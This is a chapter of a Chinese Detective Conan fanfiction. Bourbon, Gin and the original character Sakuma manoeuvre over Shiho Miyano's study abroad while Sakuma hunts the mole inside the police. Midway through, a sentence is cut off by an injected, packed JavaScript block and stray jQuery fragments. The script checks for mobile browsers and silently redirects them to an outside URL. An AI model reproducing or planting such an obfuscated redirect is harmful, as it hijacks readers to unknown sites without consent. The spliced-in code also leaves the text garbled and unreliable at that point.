23.第 23 章

作品:《[名柯]为我推的警校组献上心脏

    “所有关于研究所的相关任务,全部停止。禁止继续接近研究所相关人员,禁止继续散播研究所相关消息。如有信息存档,全部销毁!所有情报组人员,自接收邮件之时起,立即生效!”


    手机屏幕的冷光照在波本脸上。幽幽的光泽,照得他眼睛里的神色显得阴晴不定。


    邮件的措辞简短而强硬,字里行间流露出计划被强行打断的戾气——朗姆甚至懒得掩饰他的不快。


    确实如贝尔摩德所说,一切的工作都结束了。但是波本仍然感到茫然。


    他甚至不知道,这个牵动各方势力的留学事件,最后的结局是什么。


    他只知道,“那位先生”强势插手了此事,并且导致贝尔摩德失魂落魄地离开了酒吧。


    看贝尔摩德的状态,她的计划必然是没有成功的。无论贝尔摩德在此事上有什么居心,但她的立场确实是希望促成宫野志保的留学。


    难道说“那位先生”最后还是强行阻止了留学计划?


    不,如果留学计划被阻止,那么希望阻止留学的朗姆,不会发送这样的邮件,言辞之中透露着暴躁和不甘。


    邮件里强烈的语气,“全部销毁”的指令,不像是胜利者的收尾,倒像是败者仓促撤离前销毁文件。


    波本手指一动,删除了邮件,然后将手机收好,这才转身离开了这条偏僻的走廊。


    酒廊里有不少组织成员,情报组和非情报组的都有——虽然这边只有中下层人员,甚至很少会有人比波本自己身份更高。


    但,所有的任务都需要中下层人员传达,并且落地执行。也许仍然会有一些信息,隐藏在被有意无意忽略掉的角落里。


    夜晚还很长。他要去弄清楚到底发生了什么事。


    而酒吧深处的包厢里,一位观众正在观看着显示屏。他铅灰色的眼睛看上去漫不经心,却一直追随着那个金发深肤的身影。


    直到包厢大门的方向传来敲门声,他才移开视线,看向大门的方向。


    来访者没有等包厢主人的许可,直接推门而入。


    那是琴酒。他依然穿着那身标志性的黑色大衣和软呢帽,在这昏暗的环境下,像是什么化作人形的阴影生物。


    见到佐久间,他点了点头,权当打了个招呼,自顾自走进来,坐在会客沙发上,取下嘴里的香烟弹了弹烟灰。


    “琴酒,现在这个方案,你还满意吗?”


    “嗤,”琴酒吸了口烟,简短地做出了评价:“麻烦。”


    “看来你还是很愿意接受这个麻烦的。”佐久间笑了笑,走到酒柜边:“喝点什么?要不要来点‘獭祭’?虽然度数不高,但这一瓶可是日本特供。等你去美国,就喝不到了。”


    “不了,我不喜欢这种酒。”琴酒冷冷斜睨了佐久间一眼,但心情却似乎不坏:“任务半年后才会开始,还早得很。倒是你,好像已经等不及让我离开了。”


    “哈哈,怎么会呢。”佐久间笑着倒了两杯自己常喝的香槟,把其中一杯递给了琴酒。


    浅金色的酒液在星空灯的光芒下,看上去和琴酒的发色居然颇有些相似。


    “我只是很乐于看到宫野家的小天才去上学罢了。这种年龄的小孩子,正应该好好读书不是吗?”


    “哦?你只是希望那个女孩去上学?”琴酒嫌弃地看了一眼香槟,但还是送到嘴边尝了一口。这杯香槟喝起来毫无层次的甜,令他敬谢不敏:


    “这次折腾下来,朗姆可简直要气疯了,贝尔摩德也一肚子怨气。”


    “呵,我知道。你是特意来提醒我的吗?”佐久间略感诧异地看了琴酒一眼,笑意更深:


    “琴酒,你真是个亲切的人呢。”


    琴酒露出一副被恶心到了的表情,把香槟放到桌上,又抽了一口烟。


    佐久间却很喜欢香槟轻盈的口感:“但如果不这么折腾一趟,我又怎么能摸清他们——不,我又怎么能摸清朗姆的触手,到底伸展到了哪里呢?”


    佐久间轻轻旋转着手中的酒杯。他出神地注视着杯中上升的气泡,黑色的手套使得这一杯浅金色好像更加明亮:


    “至于贝尔摩德……她应当知足。宫野家的孩子即将离开研究所的核心,宫野家的研究也会随之封存。她应当为此而满意,而不是为了不能杀了那个孩子而心生怨气。”


    琴酒若有所思地抬眼看了佐久间一眼。


    佐久间笑了笑:“知足才会常乐,不是吗?”


    “所以,我也是令研究所那群‘宫野派’知足的道具,对吗?”琴酒笑了,在烟灰缸里按灭了烟头,对佐久间露出鲨鱼般的、带着杀意笑容。


    “枪也是一种道具,不是吗?”佐久间只是轻描淡写地回答道,目光仍然停留在手中的酒杯上:“最好的枪,可是很有威慑力的。”


    琴酒离开时,身上带着些冷意。


    但是佐久间知道,这位Top Killer并没有真的动怒。


    他将杯中已经散尽了气泡的香槟一饮而尽,又转头看了看墙上的显示屏。


    屏幕的角落里,波本正坐在吧台边。他好像不经意地侧头,恰好躲过了监控摄像头的拍摄,让人看不清他的表情。


    佐久间凝视着他。一切都在按照他的计划发展,但他的内心深处,却是一片冰凉。


    已经是11月底了。按照佐久间记忆里的剧情,很快,就是诸伏景光的……死亡日期。


    在这之前,佐久间已经翻遍了他能接触到的所有隐秘信息。


    但他找不到那个传说中出卖了诸伏景光的内鬼。


    他没有金手指,没有系统,也不能一遍遍重来;他所倚仗的,只有一份来自于前世的记忆,与他自己的、偏执的决心。


    而记忆里的原作,在这些细节上,完全是一片空白!


    他只能像在信息的河沙上淘金一般筛选沙粒,以期找到一条可以提前拯救他所关心的人的关键信息。


    但他找不到任何情报。


    这么久以来,所有的情报都在告诉他,这个隐秘而庞大的组织,根本就没有在公安内部埋下这么一颗致命的钉子!


    ——所以他盯上了朗姆。


    作为一个在佐久间出生之前就掌控着这个庞大情报网的“朗姆”,他掌控的情报组有太多触手,潜伏在组织甚至警方的各个不起眼的阴影里。


    如果连佐久间都找不到,那一定是藏在朗姆的阴影里。


    而只有一个朗姆必须认真对待的事件,让他感到失控的威胁,才能逼他动用更多的力量,显露更多的触手的轮廓。


    比如这次的留学事件。


    在组织内的反击和斡旋,暂且按下不表。


    而如果朗姆想要排除组织外的干扰——比如公安是否也在觊觎宫野家的研究?


    比如是不是有什么力量推动了“录取”,想要让那个继承宫野家研究的孩子,离开组织的保险箱?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002523|192341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那么为了以最快的速度确认公安的动向,朗姆自然会动用他隐藏在阴影中的、潜伏在公安内部的触手。


    佐久间想要等待的,就是这条触手从潜伏中被唤醒,向朗姆送出情报的时刻。


    他相信以他此刻对朗姆的关注,必然不会错过这一刻的异动。


    但是……佐久间失望了。


    他等了很久。他本可以一开始就抛出这个完整的解决方案,但是就是为了等待朗姆的动作,他刻意多等了足足两周。


    但是没有。


    没有异常通讯,没有加密信息的传递。什么都没有,平静得可怕。


    朗姆宁可去找公安的中层干部,花功夫对这次的留学事宜旁敲侧击,也不曾与任何一位足以接触隐秘资料的公安高层有过联系!


    有那么一瞬间,佐久间甚至怀疑,到底是他高估了自己的能力、或者低估了朗姆,导致在这样紧密的关注下,朗姆依然可以瞒过他的眼睛;


    还是他唯一可以倚仗的前世记忆,根本就是一场谬误?!


    “但是……”


    佐久间注视着显示屏边缘,在星空灯下微微闪烁着光彩的金发。


    “但是无论如何,我不会放弃。”


    铅灰色的眸子在阴影中闪烁着冷光,像是熄灭的灰烬里面,飘起粼粼的冷火。


    几乎与此同时,波本突兀地感到脊背一寒。


    他压抑自己的本能动作,低头喝了口酒。但那双紫灰色的眼睛,已经警觉地将四周扫视了一圈。


    但四周什么也没有。


    波本不再多想。这个遍布眼睛的酒吧,从未像今天这样让他感到压抑和不安。


    所幸,他已经得到了足够多的消息。


    波本的嘴角忍不住露出一丝自嘲的笑意。


    “那位先生”一出手,就带给了他无与伦比的压力。


    宫野志保依然会前往美国留学,但琴酒将一同前往美国,全权负责留学期间的一切事务——其实也就相当于,将由琴酒亲自看管“宫野志保”这份“重要资产”;


    声称因伤休养的贝尔摩德,就留在日本,填补琴酒离开后的权力真空——也就是说,除非琴酒回到日本,不然她都不会再有借口插手美国的事情。


    波本完全可以想象,这个看似轻描淡写的调动之后,朗姆再也不能继续质疑“资产”的可控性,因为这意味着质疑琴酒的实力;


    而宫野一系的研究员再也不能质疑己方的地位被动摇,因为琴酒的亲自出动,已经证明了“那位先生”对宫野志保的重视。


    ……好像所有人都满足了自己的诉求。


    但实际上,恐怕只有“那位先生”一个人,真正赢得了全部。


    波本最终还是一口饮尽杯中之酒,将酒费放在桌上,转身离开。


    他匆匆走出了这座令他感到一种宛如深海般窒息的酒吧。


    室外的冷风很快便吹散了他身上残留的热气。而脊背上不知不觉沁出的冷汗,把贴身的衬衫浸染得冰冷一片,像一层冰壳贴在背上,冻得整个后背都开始刺痛。


    波本沿着街道向前走,远远走到两条街以外,这才伸手拦下了一辆出租车。


    他坐上车,谨慎地报出了属于公安的安全屋地址。车辆行驶的过程中,他闭目整理了一下思绪,这才拿出另一只手机,开始在邮件栏中编辑信息:


    “原计划将于明年六月实施的、‘天才小姐失踪计划’,全面作废。”